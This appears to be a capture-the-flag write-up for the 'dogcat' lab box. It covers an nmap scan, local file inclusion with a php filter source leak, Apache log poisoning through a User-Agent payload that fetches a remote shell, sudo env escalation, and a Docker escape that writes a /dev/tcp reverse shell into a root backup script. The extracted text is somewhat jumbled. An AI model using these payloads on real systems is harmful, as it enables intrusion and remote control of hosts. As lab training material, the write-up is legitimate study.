Initial Scan nmap 1 nmap -sC -sV -oN nmap/dogcat 10.10.208.6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-09 10:21 EDT Nmap scan report for 10.10.208.6 Host is up (0.19s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA) | 256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA) |_ 256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_ http-title: dogcatService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 49.14 seconds
Web Server
view=dog and view=cat shows dog and cat pics respectively so trying LFI on that
1 http:// 10.10 .208.6 /?view=./ dog/../ ../../ ../etc/ passwd
which give us some error but confirm we have LFI
with php filter we can leak the index.php
source code
1 http:// 10.10 .208.6 /?view=php:/ /filter/ read=convert.base64-encode/resource=./ dog/../i ndex
1 PCFET0 NUWVBFIEhUTUw+CjxodG1 sPgoKPGhlYWQ+CiAgICA8 dGl0 bGU+ZG9 nY2 F0 PC90 aXRsZT4 KICAgIDxsaW5 rIHJlbD0 ic3 R5 bGVzaGVldCIgdHlwZT0 idGV4 dC9 jc3 MiIGhyZWY9 Ii9 zdHlsZS5 jc3 MiPgo8 L2 hlYWQ+Cgo8 Ym9 keT4 KICAgIDxoMT5 kb2 djYXQ8 L2 gxPgogICAgPGk+YSBnYWxsZXJ5 IG9 mIHZhcmlvdXMgZG9 ncyBvciBjYXRzPC9 pPgoKICAgIDxkaXY+CiAg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 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <!DOCTYPE HTML> <html> <head> <title>dogcat</title> <link rel="stylesheet" type="text/css" href="/style.css" > </head> <body> <h1>dogcat</h1> <i>a gallery of various dogs or cats</i> <div> <h2>What would you like to see?</h2> <a href="/?view=dog" ><button id="dog" >A dog</button></a> <a href="/?view=cat" ><button id="cat" >A cat</button></a><br> <?php function containsStr ($str , $substr ) { return strpos ($str , $substr ) !== false ; } $ext = isset ($_GET ["ext" ]) ? $_GET ["ext" ] : '.php' ; if (isset ($_GET ['view' ])) { if (containsStr ($_GET ['view' ], 'dog' ) || containsStr ($_GET ['view' ], 'cat' )) { echo 'Here you go!' ; include $_GET ['view' ] . $ext ; } else { echo 'Sorry, only dogs or cats are allowed.' ; } } ?> </div> </body> </html>
now we know why we needed dog
or cat
in the url.
Getting flag1 1 http:// 10.10 .208.6 /?view=php:/ /filter/ read=convert.base64-encode/resource=./ dog/../ flag
Note: This is a partial content
1 PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxcwo =
decoded data
1 2 <?php $flag_1 = "THM{Th1s
RCE 1 2 3 4 5 6 7 8 9 GET /?view=./dog/../../../../../../../../../var/log/apache2/access.log&ext= HTTP/1.1 Host : 10.10.59.238User-Agent : <?php file_put_contents('f3v3r.php',file_get_contents('http://10.X.X.X/shell.php')); ?>Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : en-US,en;q=0.5Accept-Encoding : gzip, deflateConnection : closeUpgrade-Insecure-Requests : 1Cache-Control : max-age=0
I was serving shell.php
which was php-reverse-shell.php which i was serving on port 80 and a nc listener on 9001
to get a shell back
and opening
give us the shell
Flag2 1 2 3 4 5 $ whoami ;hostname;cut -c 1-15 /var/www/flag2_QMW7JvaY2LvK.txtwww-data 9c79ecf0f992 THM{LF1_t0_RC3_ $
Privilege Escalation
1 2 3 4 5 Matching Defaults entries for www-data on 9 c79ecf0f992: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin \:/usr/sbin \:/usr/bin \:/sbin \:/bin User www-data may run the following commands on 9 c79ecf0f992: (root) NOPASSWD: /usr/bin/env
so running
give us a root shell but that is in the container
Flag 3 1 2 3 4 whoami;hostname;cut -c 1-5 flag3.txt root 9c79ecf0f992 THM{D
Escaping the Docker In /opt/backups
folder we see a script so we modify that to give us a reverse shell.
1 2 3 4 cat backup.shtar cf /root/container/backup/backup.tar /root/container echo "#!/bin/bash" > backup.sh;echo "bash -i >& /dev/tcp/10.X.X.X/9002 0>&1" >> backup.sh
Flag 4 1 2 3 4 5 6 7 nc -nvlp 9002 root@dogcat:~# whoami;hostname;cut -c 1-15 flag4.txt whoami;hostname;cut -c 1-15 flag4.txt root dogcat THM{esc4l4tions root@dogcat:~#
and we have pwnded Dogcat